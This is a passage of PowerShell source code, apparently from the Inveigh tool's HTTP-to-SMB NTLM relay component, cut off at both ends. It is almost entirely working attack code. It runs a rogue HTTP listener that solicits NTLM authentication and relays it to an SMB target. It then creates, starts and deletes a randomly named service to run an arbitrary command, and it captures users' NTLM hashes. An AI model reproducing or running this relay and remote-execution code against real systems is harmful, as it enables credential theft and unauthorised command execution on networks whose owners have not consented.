($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) $SMB_relay_response_bytes = New-Object System.Byte[] 1024 if ($SMB_relay_socket) { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } $SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12)) $SMB_length_1 = $SMB_length_1 -replace "-00-00","" $SMB_length_1 = $SMB_length_1.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8)) $SMB_length_2 = $SMB_length_2 -replace "-00-00","" $SMB_length_2 = $SMB_length_2.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4)) $SMB_length_3 = $SMB_length_3 -replace "-00-00","" $SMB_length_3 = $SMB_length_3.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_length_1) [array]::Reverse($SMB_length_2) [array]::Reverse($SMB_length_3) [array]::Reverse($SMB_NTLMSSP_length) [array]::Reverse($SMB_netbios_length) $j = 0 :SMB_relay_response_loop while ($j -lt 1) { [Byte[]] $SMB_relay_response_send = (0x00,0x00)` + $SMB_netbios_length` + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + $SMB_blob_length` + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + $SMB_byte_count` + (0xa1,0x82)` + $SMB_length_1` + (0x30,0x82)` + $SMB_length_2` + (0xa2,0x82)` + $SMB_length_3` + (0x04,0x82)` + $SMB_NTLMSSP_length` + $HTTP_request_bytes` + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) $SMB_relay_response_stream.Flush() if($SMBRelayNetworkTimeout) { $SMB_relay_response_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout $SMB_relay_response_stopwatch = [diagnostics.stopwatch]::StartNew() while(!$SMB_relay_response_stream.DataAvailable) { if($SMB_relay_response_stopwatch.elapsed -ge $SMB_relay_response_timeout) { $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() break :SMB_relay_response_loop } } } $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length) $inveigh.SMB_relay_active_step = 2 $j++ } return $SMB_relay_response_bytes } } $SMB_relay_execute_scriptblock = { Function SMBRelayExecute { param ($SMB_relay_socket,$SMB_user_ID) if ($SMB_relay_socket) { $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() } $SMB_relay_failed = $false $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00' [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object { $SMB_relay_command += "{0:X2}-00-" -f $_ } if([bool]($SMBRelayCommand.length%2)) { $SMB_relay_command += '00-00' } else { $SMB_relay_command += '00-00-00-00' } [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2) $k = 0 :SMB_relay_execute_loop while ($k -lt 12) { switch ($k) { 0 { [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)` + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00) } 1 { [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)` + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00) } 2 { [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)` + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)` + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00) $SMB_multiplex_id = (0x05) } 3 { [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest } 4 { [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)` + (0x00,0x00,0x00,0x5c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + (0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)` + (0x00,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + $SMB_service_bytes` + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00) $SMB_multiplex_id = (0x07) } 5 { [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest } 6 { [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)` + $SMB_service_data_length_bytes` + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)` + $SMB_service_byte_count_bytes` + (0x00,0x00)` + $SMB_service_byte_count_bytes` + (0x3f,0x00,0x00,0x00,0x00,0x00)` + $SMB_service_byte_count_bytes` + (0x05,0x00,0x00,0x03,0x10)` + (0x00,0x00,0x00)` + $SMB_service_byte_count_bytes` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00)` + $SMB_context_handler` + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + $SMB_service_bytes` + (0x00,0x00)` + $SMB_referent_ID_bytes` + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + $SMB_service_bytes` + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + $SMB_relay_command_length_bytes` + (0x00,0x00,0x00,0x00)` + $SMB_relay_command_length_bytes` + $SMB_relay_command_bytes` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) $SMB_multiplex_id = (0x09) } 7 { [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest } 8 { [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)` + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)` + $SMB_context_handler` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) } 9 { [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest } 10 { [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)` + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)` + $SMB_context_handler } 11 { [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest } } $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length) $SMB_relay_execute_stream.Flush() if($SMBRelayNetworkTimeout) { $SMB_relay_execute_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout $SMB_relay_execute_stopwatch = [diagnostics.stopwatch]::StartNew() while(!$SMB_relay_execute_stream.DataAvailable) { if($SMB_relay_execute_stopwatch.elapsed -ge $SMB_relay_execute_timeout) { $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) $SMB_relay_failed = $true break SMB_relay_execute_loop } } } if ($k -eq 5) { $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) $SMB_context_handler = $SMB_relay_execute_bytes[88..107] if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')) { $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) } elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') { $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" $SMB_relay_failed = $true } else { $SMB_relay_failed = $true } } elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11)) { $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) switch($k) { 7 { $SMB_context_handler = $SMB_relay_execute_bytes[92..111] $SMB_relay_execute_error_message = "Service creation fault context mismatch" } 11 { $SMB_relay_execute_error_message = "Service start fault context mismatch" } 13 { $SMB_relay_execute_error_message = "Service deletion fault context mismatch" } } if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') { $SMB_relay_failed = $true } if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') { $inveigh.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) $SMB_relay_failed = $true } } else { $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) } if((!$SMB_relay_failed) -and ($k -eq 7)) { $inveigh.console_queue.add("SMB relay service $SMB_service created on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")]) } elseif((!$SMB_relay_failed) -and ($k -eq 9)) { $inveigh.console_queue.add("SMB relay command likely executed on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) if($SMBRelayAutoDisable -eq 'y') { $inveigh.SMB_relay = $false $inveigh.console_queue.add("SMB relay auto disabled due to success") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) } } elseif((!$SMB_relay_failed) -and ($k -eq 11)) { $inveigh.console_queue.add("SMB relay service $SMB_service deleted on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")]) } [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + $inveigh.process_ID_bytes` + $SMB_user_ID` + $SMB_multiplex_ID` + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58,0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00) if($SMB_relay_failed) { $inveigh.console_queue.add("SMB relay failed on $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")]) BREAK SMB_relay_execute_loop } $k++ } $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } $HTTP_scriptblock = { param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} if($Inveigh.challenge) { $HTTP_challenge = $Inveigh.challenge $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} } else { $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + $HTTP_challenge_bytes` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + $HTTP_timestamp` + (0x00,0x00,0x00,0x00,0x0a,0x0a) $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge Return $NTLM } while ($inveigh.relay_running) { $inveigh.context = $inveigh.HTTP_listener.GetContext() $inveigh.request = $inveigh.context.Request $inveigh.response = $inveigh.context.Response $inveigh.message = '' $NTLM = 'NTLM' if($inveigh.request.IsSecureConnection) { $HTTP_type = "HTTPS" } else { $HTTP_type = "HTTP" } if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } else { $inveigh.response.StatusCode = 401 } [string]$authentication_header = $inveigh.request.headers.getvalues('Authorization') if($authentication_header.startswith('NTLM ')) { $authentication_header = $authentication_header -replace 'NTLM ','' [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) $inveigh.response.StatusCode = 401 if ($HTTP_request_bytes[8] -eq 1) { $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) { $inveigh.SMB_relay_active_step = 1 $inveigh.console_queue.add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) $inveigh.console_queue.add("Grabbing challenge for relay from $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient $SMB_relay_socket.connect($SMBRelayTarget,"445") if(!$SMB_relay_socket.connected) { $inveigh.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")]) $inveigh.SMB_relay_active_step = 0 } if($inveigh.SMB_relay_active_step -eq 1) { $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $inveigh.SMB_relay_active_step = 2 $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length] $SMB_user_ID = $SMB_relay_bytes[34..33] $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)` + $SMB_domain_length_offset_bytes` + (0x05,0x82,0x89,0xa2)` + $SMB_relay_NTLM_challenge` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + $SMB_target_length_offset_bytes` + $SMB_relay_target_details $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) $inveigh.console_queue.add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) $inveigh.console_queue.add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) $inveigh.SMB_relay_active_step = 3 } else { $NTLM = NTLMChallengeBase64 } } else { $NTLM = NTLMChallengeBase64 } $inveigh.response.StatusCode = 401 } elseif ($HTTP_request_bytes[8] -eq 3) { $NTLM = 'NTLM' $HTTP_NTLM_offset = $HTTP_request_bytes[24] $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) if($HTTP_NTLM_domain_length -eq 0) { $HTTP_NTLM_domain_string = '' } else { $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes } $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes if($HTTP_NTLM_length -eq 24) { $NTLM_type = "NTLMv1" $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(48,':') $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + 